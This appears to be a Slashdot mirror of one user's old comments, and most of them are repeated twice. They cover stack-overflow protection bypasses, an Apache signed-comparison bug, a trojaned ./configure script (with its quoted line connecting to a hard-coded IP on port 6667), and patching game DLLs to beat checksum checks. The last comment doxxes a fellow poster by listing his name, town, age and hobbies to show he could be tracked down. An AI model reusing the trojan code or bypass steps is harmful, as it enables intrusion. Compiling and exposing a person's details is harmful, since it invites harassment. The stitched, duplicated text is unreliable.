both OpenBSD's non-exec stack and this new stackguard nonsense protect against one form of of a particular class of vulnerabilities: Stack Based Buffer Overflows. The way these usually work is that by stuffing too much data into a variable you are able to cause the program to overwrite other variables which control what the program will do next. You can, in effect, tell the program to not execute whatever it was going to execute before, but instead execute your code. Typically this is accomplished by putting some low-level machine language inside that original variable you overflowed and then pointing the program to that machine code.
This will fail with obsd's method because you aren't allowed to execute machine code if it lies in the memory region that holds the special variables that control program flow.
This is the most ridiculously trivial of all "protections" to defeat because you can execute machine code from other portions of memory. All you have to do is figure out a way to get the program to, at some point, load that machine code into memory. It might get slightly tricky if it's a remote exploit but when it's a local one you can usually just set an environment variable to some machine code. Since these vars get loaded onto the heap you can simply point the control variable to them and it'll execute anything you want.
This will fail with this new method because between the variable you overflow and the variable that controls program flow there is a random number. Before looking to see where the control variable is pointing to the program will check to see if the random number is the same as it was before the function started. If you overwrote it in order to modify the control variable the program will stop.
Meanwhile this protection won't stop other kinds of buffer overflows, such as.data based overflows and heap overflows that smash memory trees.. that's a bit more complicated though and difficult to describe in layman's terms.
>But let's be honest here. They're releasing a Linux client for themselves and their windows players.
Wait a minute, that doesn't make any sense. I agree with what you said about HL, of course, but the fact that they're releasing a client completely disproves your point. If they only wanted more people hosting they would never bother to port the client, which is a MUCH bigger project than porting the daemon. What more could they possibly do?
--- ISS has requested that I forward this response to the list.
----------
This vulnerability was originally detected auditing the Apache 2.0 source tree. Apache 2.0 uses the same function to determine the chunk size, and has the same vulnerable signed comparison. It is, however, not vulnerable (by luck?) due to a signed comparison deep within the buffered reading routines (within core_input_filter).
This issue is no more exploitable or unexploitable on a 32-bit platform than on a 64-bit platform. Due to the signed comparison, the minimum size passed to the memcpy() function is 0x80000000 or about 2gb. Unless Apache has over 2gb of contiguous stack memory located after the target buffer in memory, a segmentation fault will be caused. If you understand how the stack is used, you will understand that this is an impossibility.
Apache on "Win32" is not exploitable due to any "64-bit" addressing issues. It is easily exploitable due to the nature of structured exception handling on Windows and the fact that exception handler pointers are stored on the stack.
If the DoS vulnerability is related to the overflow then the ISS patch will work to prevent it. The unsigned comparison prevents any stack overflow and as a result any related DoS issue is prevented. If the DoS issue is unrelated, then of course the ISS patch will not be of any help.
As noted by valcu.gheorghe@caatoosee.ro on Bugtraq:
---- The patch that mentioned casting bufsiz from an int to an unsigned int failed to do a few things:
1) There are 2 instances of the same code in http_protocol.c that need to be fixed, as both suffer from the same problem 2) The cast to unsigned int was only done in comparison, and was not done in assignment, which could possibly lead to problems down the road with the int value?
I haven't checked any of this, just noticed it and was really just wondering "why wasn't this done?".
However, this doesn't assign that casted value to len_to_read, it just uses the cast for comparison and then passes on the possibly bogus data on to len_to_read.
Also, like I mentioned, there are two places where this happens in http_protocol.c, one at line 2062, and the other (the one mentioned in the patch) at 2174.
hehe, Legend Of the Red Dragon if we're talking about the same thing. Damn I loved that game, though I never reached legendary status on any of the BBS's I frequented.. they would always get raided:/ The best was getting all your fights in right before Midnight because they would reset at 12 and you'd get more. What was the name of the bard in the inn? Was it Seth the Singing Bard or something? Damn I gotta find that again.
Actually that seems to be the new trend amongst hax0rs who trojan program distributions. Recently it was reported to bugtraq that monkey.org was compromised and several programs including fragroute and dsniff were altered. Read the explanation of how that happened here.
What did the hax0rs add? A little present in the./configure script. Among other things it creates a.c file called conftest with some interetsing "checks" in it:
It connects to the above address on port 6667 and does some other nonsense. Then it's compiled and run. The user is none the wiser unless he takes the time to read the ENTIRE./configure script.
Checking MD5's.. bah. Check them against what? What the web page tells you they should be? If the server holding the RPM's has been hax0red and the RPM's have been trojaned why wouldn't the hacker just replace the MD5 signatures as well?
Oh sure, hold them in a "secure location". Obviously these people who get their servers hacked and their RPM's trojaned have an excellent idea of what a secure server is.
The best way isn't to check MD5's but instead to do all your rpm queries before installing and use the most verbose settings possible while installing.
>Code needs to be written to self protect. Once an intrusion or a hack is detected, it determines the nature of the hack, and forbids the next attempt.
It is 100% impossible for a given program determine if it has been hacked if the person who is trying to hack it is the administrator/root user of the machine. Is this clear enough? You have control over everything the program sees because you can modify every portion of it. Watch:
int check_self() {// function which checks its current program for modification // perform checks...
if (we_passed) {
return TRUE;
}
else return FALSE; }
int run() {
if (check_self()) {// we passed the check (TRUE)
continue();
}
else//We failed
In this situation the "run()" function calls the "check_self()" function to see if the current program is still OK. However all the hax0r would have to do would be to change a single byte, FALSE (0) to TRUE (1), in the program with a special editor and the program would appear to pass the self test, even though it didn't.
If we aren't the superuser on the system we can protect ourselves by not allowing the programs to be modified and preventing ordinary users from accessing their address space, like SUID/SGID binaries in UN*X or programs started by other users.
Hehe. Ahh the young and security naive. You forget that, as the administrator, you have access to not only all the address space of the program but also any of the functions which call for random seeds. Thus you can force the same "seed" every time and the "encryption" would be the same. Not just that, but we can modify the game's DLL's to automatically report a correct checksum anyway! Don't call it encryption, call it what it is: scrambling.
1. Hax0r modifies the "get_checksum()" function in the game's DLL's by modifying a few bits 2. WON ID is checked/Client connects to server 3. Server asks for client checksum 4. Client returns an "OK" message 5. We pass the test.
Or, since we know the encryption seed, we could (hypothetically) capture the outgoing authentication/verification packets and dynamically modify them to return the "OK" message instead of the "NOT OK" message.
I can't imagine that that is all that Valve has done to prevent cheating, but if it is it's absolutely worthless. Relying on a client to verify it's own legitimacy is an oxymoron.
Why exactly couldn't someone write a program that would simply store all of the video frames that are streamed to it into a.mpg or other video format? The way I see it all the bits are still there, they're just being sent in a stream and then reassembled for each frame. Am I missing some piece of info that would make this exceedingly difficult?
You're looking at security research backwards. When I do security audits, particularly closed-source ones, I look at the more "obscure" features first. The benefits to this are numerous:
- The program's maintainers are less likely to check these portions of code for errors because users don't complain about them as much.
- The legacy protocols probably contain code from the pre-security awareness days. They're more likely to contain such "new" security concerns as Format String bugs and signed/unsigned conversions.
- Other people doing audits on the same software have probably been over all the basics many times using automated tools and buffer overflow spamming.
I know the above post was probably meant as a joke, but the guys above are probably more clever than you think.
Well I can only speak from a security standpoint, not for functionality, though I've heard that it has nearly all the same features as sendmail and is faster. However, I did a free-time security audit of Qmail to get an idea of how secure DJB's work was. I can say that, bar none, this guy is the best secure coder I've seen to date. Probably the best way to see this is in the fact that he uses all of his own routines to do memory management. In these routines his bounds checking is complete and he is extremely careful about signed/unsigned conversion bugs. Quite impressive.
Granted the guy is known for being a prick when people question his work (this is known as De Raadt Syndrome), such as this response to someone who supposedly found a hole in his mailing list software:
---- Here we go again: This advisory is fraudulent. My ezmlm 0.53 package does not include anything called ezmlm-cgi.
Perhaps someone else's ezmlm-cgi program has a problem. But ezmlm-cgi isn't part of ezmlm. I didn't write it. I haven't reviewed it. I don't distribute it. I don't use it. I am not responsible for its bugs.
vort-fu was aware of these facts before he sent his advisory to bugtraq. Why did he continue? Can this be adequately explained by stupidity? ---
The problem is that while he may be abrasive, he's always right. Bottom line: if you want secure software, stick with DJB.
It's not MORE expensive for me (optonline), but it's something like a couple bucks a month more for actual cable TV service. The idea is that if you have cable service you're more likely to sign up for Skinemax and Hoetime, which is where they make much of their TV money.
And SSH has had multiple security vulnerabilities in the past. You're secure. Current snapshots are secure. Keep thinking that. If smart people are determined to break in, they will. It may take months, but chances are excellent that it'll happen. Everyone would be fascinated to know just how common off-by-one buffer overflows, signed/unsigned bugs and the like are in their popular programs. The point is that Apache with only.html running will never be run by any company/bank/government/ISP or any other non high school kid web server. Have you looked at the Apache.html processing code? It's *miniscule* in comparison to the amount of code used for a "typical" corporate web server.
They are trying to market their product to corporations. They're trying to prove that it will withstand hacker attacks. What's the goddamn point if they're not running all the services that a typical company would?
Exactly. Obviously when they say "services" they really mean ISAPI extentions or modules. The point is that the more lines of code a hacker can access the more likely they are to break into the computer. More services generally means more code, more extentions means more code. If a server runs Apache with only.html access enabled the odds of breaking in are slim to none (baring some heretofore unknown haq-fu). However most sites enable one of the dynamic languages you listed above, which then creates the ability for people to hack the Triforce of web code:
- Server-Side interperatation of pathnames
- Server-Side interperatation of dynamic parameters
- Backend-Side database metacharacter injection
It's easy to secure a simple web server. It's very, very difficult to secure one offering many "services".
I fail to see your logic. Yes, of course I shouldn't have left it in the theatre if I didn't want it to be taken.
As for the original poster, I disagree with the idea that he should be able to sell military technology on e-bay. What if was a missle that he was trying to sell? What if a foreign radical wants to study use data gleaned from these parts to be able to detect and shoot down our soldiers in the spy planes? No person outside of the US and affiliated military could possibly have any legitimate use for these parts.
I believe the government should compensate him for the cost of the auction, research time and maybe a little "finder's fee" then take their parts back. The parts are kept secret for a reason, you know.
If you read the e-bay listings he says that he's selling everything for 5% of their "military worth". How this "military worth" price is determined I have no idea, but it's probably the amount they were purchased for in 1989. If you take into account the military's $1000 For a Hammer Principle, you're probably not getting that great of a deal at 5%;)
How many times have you been up at 5am watching one of those goddamn Make Millions In Months info-mercials? Many of those stupid programs are merely spam factories. Those "millions of _eager_ consumers waiting for you to show you your product" DON'T GIVE A SHIT ABOUT YOUR PENIS PILL. We need to shut these people down FIRST. Get at the root of the problem, otherwise Joe Sixpack is still going to think it's OK to bother his friends and neighbors with claims of penises the size of trash cans.
Really? I could've sworn that the tobacco industry was forced to pay out billions in damages and Enron is in financial ruin. I believe one of their execs commited suicide as well. Not exactly scot free.
The point is that they tried to PASS A LAW to hack someone's PC. It didn't go through and they didn't hack anyone. They're not going to create a malicious virus that has reprecussions based on legal precedent and risk having to pay out billions in damages just so a few losers get their hard drives filled up.
WTF are you talking about? No one has ever asked me for ID with my credit card in the 1000's of purchases I've made (except for the times I'd forgotten to sign the back). No one checks signatures either. I've purchased thousands of dollars worth of computer and electronic equipment without supplying an ID. Maybe you live in a much more paranoid city/country but in CT/NYC I've never been hassled.
>So what if you know what town I live in, that doesn't change the fact that in order for you (or anyone) to accost me in the way that is described in these horro stories, you would still have to arange a meeting with me
Uhm. The point of your original post was that a teenager would have to be a dumbass to post personal info on the Net. Which you did.
How hard do you think it would be to find you? Calling up the scouts, the school, directory assistance. It would take a few minutes to have your address and "accost" you.
Slashdot Mirror
Basically it's like this:
.data based overflows and heap overflows that smash memory trees.. that's a bit more complicated though and difficult to describe in layman's terms.
both OpenBSD's non-exec stack and this new stackguard nonsense protect against one form of of a particular class of vulnerabilities: Stack Based Buffer Overflows. The way these usually work is that by stuffing too much data into a variable you are able to cause the program to overwrite other variables which control what the program will do next. You can, in effect, tell the program to not execute whatever it was going to execute before, but instead execute your code. Typically this is accomplished by putting some low-level machine language inside that original variable you overflowed and then pointing the program to that machine code.
This will fail with obsd's method because you aren't allowed to execute machine code if it lies in the memory region that holds the special variables that control program flow.
This is the most ridiculously trivial of all "protections" to defeat because you can execute machine code from other portions of memory. All you have to do is figure out a way to get the program to, at some point, load that machine code into memory. It might get slightly tricky if it's a remote exploit but when it's a local one you can usually just set an environment variable to some machine code. Since these vars get loaded onto the heap you can simply point the control variable to them and it'll execute anything you want.
This will fail with this new method because between the variable you overflow and the variable that controls program flow there is a random number. Before looking to see where the control variable is pointing to the program will check to see if the random number is the same as it was before the function started. If you overwrote it in order to modify the control variable the program will stop.
Meanwhile this protection won't stop other kinds of buffer overflows, such as
>Hopefully these will be released soon.
It's a simultaneous release, check here.
>But let's be honest here. They're releasing a Linux client for themselves and their windows players.
Wait a minute, that doesn't make any sense. I agree with what you said about HL, of course, but the fact that they're releasing a client completely disproves your point. If they only wanted more people hosting they would never bother to port the client, which is a MUCH bigger project than porting the daemon. What more could they possibly do?
from Bugtraq a few minutes ago:
---
ISS has requested that I forward this response to the list.
----------
This vulnerability was originally detected auditing the Apache 2.0 source
tree. Apache 2.0 uses the same function to determine the chunk size, and
has the same vulnerable signed comparison. It is, however, not vulnerable
(by luck?) due to a signed comparison deep within the buffered reading
routines (within core_input_filter).
This issue is no more exploitable or unexploitable on a 32-bit platform than
on a 64-bit platform. Due to the signed comparison, the minimum size passed
to the memcpy() function is 0x80000000 or about 2gb. Unless Apache has over
2gb of contiguous stack memory located after the target buffer in memory, a
segmentation fault will be caused. If you understand how the stack is used,
you will understand that this is an impossibility.
Apache on "Win32" is not exploitable due to any "64-bit" addressing issues.
It is easily exploitable due to the nature of structured exception handling
on Windows and the fact that exception handler pointers are stored on the
stack.
If the DoS vulnerability is related to the overflow then the ISS patch will
work to prevent it. The unsigned comparison prevents any stack overflow and
as a result any related DoS issue is prevented. If the DoS issue is
unrelated, then of course the ISS patch will not be of any help.
ISS X-Force
----
As noted by valcu.gheorghe@caatoosee.ro on Bugtraq:
:
----
The patch that mentioned casting bufsiz from an int to an unsigned int
failed to do a few things:
1) There are 2 instances of the same code in http_protocol.c that need
to be fixed, as both suffer from the same problem
2) The cast to unsigned int was only done in comparison, and was not
done in assignment, which could possibly lead to problems down the road
with the int value?
I haven't checked any of this, just noticed it and was really just
wondering "why wasn't this done?".
The code that is apparently "buggy" is this:
len_to_read = (r->remaining > bufsiz) ? bufsiz : r->remaining;
The code was mentioned to be changed to this:
len_to_read = (r->remaining > (unsigned int)bufsiz) ? bufsiz
r->remaining;
However, this doesn't assign that casted value to len_to_read, it just
uses the cast for comparison and then passes on the possibly bogus data
on to len_to_read.
So, should the fix not be to change it to:
len_to_read = (r->remaining > (unsigned int)bufsiz) ? (unsigned
int)bufsiz : r->remaining;
Also, like I mentioned, there are two places where this happens in
http_protocol.c, one at line 2062, and the other (the one mentioned in
the patch) at 2174.
-----
hehe, Legend Of the Red Dragon if we're talking about the same thing. Damn I loved that game, though I never reached legendary status on any of the BBS's I frequented.. they would always get raided :/ The best was getting all your fights in right before Midnight because they would reset at 12 and you'd get more. What was the name of the bard in the inn? Was it Seth the Singing Bard or something? Damn I gotta find that again.
>What about ./configure scripts?
./configure script. Among other things it creates a .c file called conftest with some interetsing "checks" in it:
...
./configure script.
Actually that seems to be the new trend amongst hax0rs who trojan program distributions. Recently it was reported to bugtraq that monkey.org was compromised and several programs including fragroute and dsniff were altered. Read the explanation of how that happened here.
What did the hax0rs add? A little present in the
...
+ sa.sin_addr.s_addr = inet_addr("216.80.99.202");
if(connect(s, (struct sockaddr *)&sa, sizeof(sa))
It connects to the above address on port 6667 and does some other nonsense. Then it's compiled and run. The user is none the wiser unless he takes the time to read the ENTIRE
You can find the full diff here.
Checking MD5's.. bah. Check them against what? What the web page tells you they should be? If the server holding the RPM's has been hax0red and the RPM's have been trojaned why wouldn't the hacker just replace the MD5 signatures as well?
Oh sure, hold them in a "secure location". Obviously these people who get their servers hacked and their RPM's trojaned have an excellent idea of what a secure server is.
The best way isn't to check MD5's but instead to do all your rpm queries before installing and use the most verbose settings possible while installing.
>3" CD R/RW is there a 3" DVD format? there should be).
I believe the GameCube uses a proprietary 3" DVD format.
>Code needs to be written to self protect. Once an intrusion or a hack is detected, it determines the nature of the hack, and forbids the next attempt.
// function which checks its current program for modification
// perform checks ...
// we passed the check (TRUE) //We failed
It is 100% impossible for a given program determine if it has been hacked if the person who is trying to hack it is the administrator/root user of the machine. Is this clear enough? You have control over everything the program sees because you can modify every portion of it. Watch:
int check_self() {
if (we_passed) {
return TRUE;
}
else return FALSE;
}
int run() {
if (check_self()) {
continue();
}
else
In this situation the "run()" function calls the "check_self()" function to see if the current program is still OK. However all the hax0r would have to do would be to change a single byte, FALSE (0) to TRUE (1), in the program with a special editor and the program would appear to pass the self test, even though it didn't.
If we aren't the superuser on the system we can protect ourselves by not allowing the programs to be modified and preventing ordinary users from accessing their address space, like SUID/SGID binaries in UN*X or programs started by other users.
Hehe. Ahh the young and security naive. You forget that, as the administrator, you have access to not only all the address space of the program but also any of the functions which call for random seeds. Thus you can force the same "seed" every time and the "encryption" would be the same. Not just that, but we can modify the game's DLL's to automatically report a correct checksum anyway! Don't call it encryption, call it what it is: scrambling.
1. Hax0r modifies the "get_checksum()" function in the game's DLL's by modifying a few bits
2. WON ID is checked/Client connects to server
3. Server asks for client checksum
4. Client returns an "OK" message
5. We pass the test.
Or, since we know the encryption seed, we could (hypothetically) capture the outgoing authentication/verification packets and dynamically modify them to return the "OK" message instead of the "NOT OK" message.
I can't imagine that that is all that Valve has done to prevent cheating, but if it is it's absolutely worthless. Relying on a client to verify it's own legitimacy is an oxymoron.
Why exactly couldn't someone write a program that would simply store all of the video frames that are streamed to it into a .mpg or other video format? The way I see it all the bits are still there, they're just being sent in a stream and then reassembled for each frame. Am I missing some piece of info that would make this exceedingly difficult?
You're looking at security research backwards. When I do security audits, particularly closed-source ones, I look at the more "obscure" features first. The benefits to this are numerous:
- The program's maintainers are less likely to check these portions of code for errors because users don't complain about them as much.
- The legacy protocols probably contain code from the pre-security awareness days. They're more likely to contain such "new" security concerns as Format String bugs and signed/unsigned conversions.
- Other people doing audits on the same software have probably been over all the basics many times using automated tools and buffer overflow spamming.
I know the above post was probably meant as a joke, but the guys above are probably more clever than you think.
>is qmail controversial ?
Well I can only speak from a security standpoint, not for functionality, though I've heard that it has nearly all the same features as sendmail and is faster. However, I did a free-time security audit of Qmail to get an idea of how secure DJB's work was. I can say that, bar none, this guy is the best secure coder I've seen to date. Probably the best way to see this is in the fact that he uses all of his own routines to do memory management. In these routines his bounds checking is complete and he is extremely careful about signed/unsigned conversion bugs. Quite impressive.
Granted the guy is known for being a prick when people question his work (this is known as De Raadt Syndrome), such as this response to someone who supposedly found a hole in his mailing list software:
----
Here we go again: This advisory is fraudulent. My ezmlm 0.53 package
does not include anything called ezmlm-cgi.
Perhaps someone else's ezmlm-cgi program has a problem. But ezmlm-cgi
isn't part of ezmlm. I didn't write it. I haven't reviewed it. I don't
distribute it. I don't use it. I am not responsible for its bugs.
vort-fu was aware of these facts before he sent his advisory to bugtraq.
Why did he continue? Can this be adequately explained by stupidity?
---
The problem is that while he may be abrasive, he's always right. Bottom line: if you want secure software, stick with DJB.
It's not MORE expensive for me (optonline), but it's something like a couple bucks a month more for actual cable TV service. The idea is that if you have cable service you're more likely to sign up for Skinemax and Hoetime, which is where they make much of their TV money.
And SSH has had multiple security vulnerabilities in the past. You're secure. Current snapshots are secure. Keep thinking that. If smart people are determined to break in, they will. It may take months, but chances are excellent that it'll happen. Everyone would be fascinated to know just how common off-by-one buffer overflows, signed/unsigned bugs and the like are in their popular programs. The point is that Apache with only .html running will never be run by any company/bank/government/ISP or any other non high school kid web server. Have you looked at the Apache .html processing code? It's *miniscule* in comparison to the amount of code used for a "typical" corporate web server.
They are trying to market their product to corporations. They're trying to prove that it will withstand hacker attacks. What's the goddamn point if they're not running all the services that a typical company would?
Exactly. Obviously when they say "services" they really mean ISAPI extentions or modules. The point is that the more lines of code a hacker can access the more likely they are to break into the computer. More services generally means more code, more extentions means more code. If a server runs Apache with only .html access enabled the odds of breaking in are slim to none (baring some heretofore unknown haq-fu). However most sites enable one of the dynamic languages you listed above, which then creates the ability for people to hack the Triforce of web code:
- Server-Side interperatation of pathnames
- Server-Side interperatation of dynamic parameters
- Backend-Side database metacharacter injection
It's easy to secure a simple web server. It's very, very difficult to secure one offering many "services".
I fail to see your logic. Yes, of course I shouldn't have left it in the theatre if I didn't want it to be taken.
As for the original poster, I disagree with the idea that he should be able to sell military technology on e-bay. What if was a missle that he was trying to sell? What if a foreign radical wants to study use data gleaned from these parts to be able to detect and shoot down our soldiers in the spy planes? No person outside of the US and affiliated military could possibly have any legitimate use for these parts.
I believe the government should compensate him for the cost of the auction, research time and maybe a little "finder's fee" then take their parts back. The parts are kept secret for a reason, you know.
If you read the e-bay listings he says that he's selling everything for 5% of their "military worth". How this "military worth" price is determined I have no idea, but it's probably the amount they were purchased for in 1989. If you take into account the military's $1000 For a Hammer Principle, you're probably not getting that great of a deal at 5% ;)
jesus i gotta meet the girl who can do that.. talk about a Snapper.
How many times have you been up at 5am watching one of those goddamn Make Millions In Months info-mercials? Many of those stupid programs are merely spam factories. Those "millions of _eager_ consumers waiting for you to show you your product" DON'T GIVE A SHIT ABOUT YOUR PENIS PILL. We need to shut these people down FIRST. Get at the root of the problem, otherwise Joe Sixpack is still going to think it's OK to bother his friends and neighbors with claims of penises the size of trash cans.
Really? I could've sworn that the tobacco industry was forced to pay out billions in damages and Enron is in financial ruin. I believe one of their execs commited suicide as well. Not exactly scot free.
The point is that they tried to PASS A LAW to hack someone's PC. It didn't go through and they didn't hack anyone. They're not going to create a malicious virus that has reprecussions based on legal precedent and risk having to pay out billions in damages just so a few losers get their hard drives filled up.
Take off your tinfoil hat and think.
WTF are you talking about? No one has ever asked me for ID with my credit card in the 1000's of purchases I've made (except for the times I'd forgotten to sign the back). No one checks signatures either. I've purchased thousands of dollars worth of computer and electronic equipment without supplying an ID. Maybe you live in a much more paranoid city/country but in CT/NYC I've never been hassled.
>So what if you know what town I live in, that doesn't change the fact that in order for you (or anyone) to accost me in the way that is described in these horro stories, you would still have to arange a meeting with me
Uhm. The point of your original post was that a teenager would have to be a dumbass to post personal info on the Net. Which you did.
How hard do you think it would be to find you? Calling up the scouts, the school, directory assistance. It would take a few minutes to have your address and "accost" you.
But of course, YOU aren't too dumb to do that, right?
Name: Tevis Money
Location: Niskayuna, NY
Age: 18
Occupation: High School Senior
Hobbies: Boy Sprout, canoeing
I wasn't able to find your phone number, but considering how small your town is I don't suppose it would take more than a few phone calls.
P.S. Do not answer back about MY personal info. I didn't make a post about "dumb teens giving away their personal info".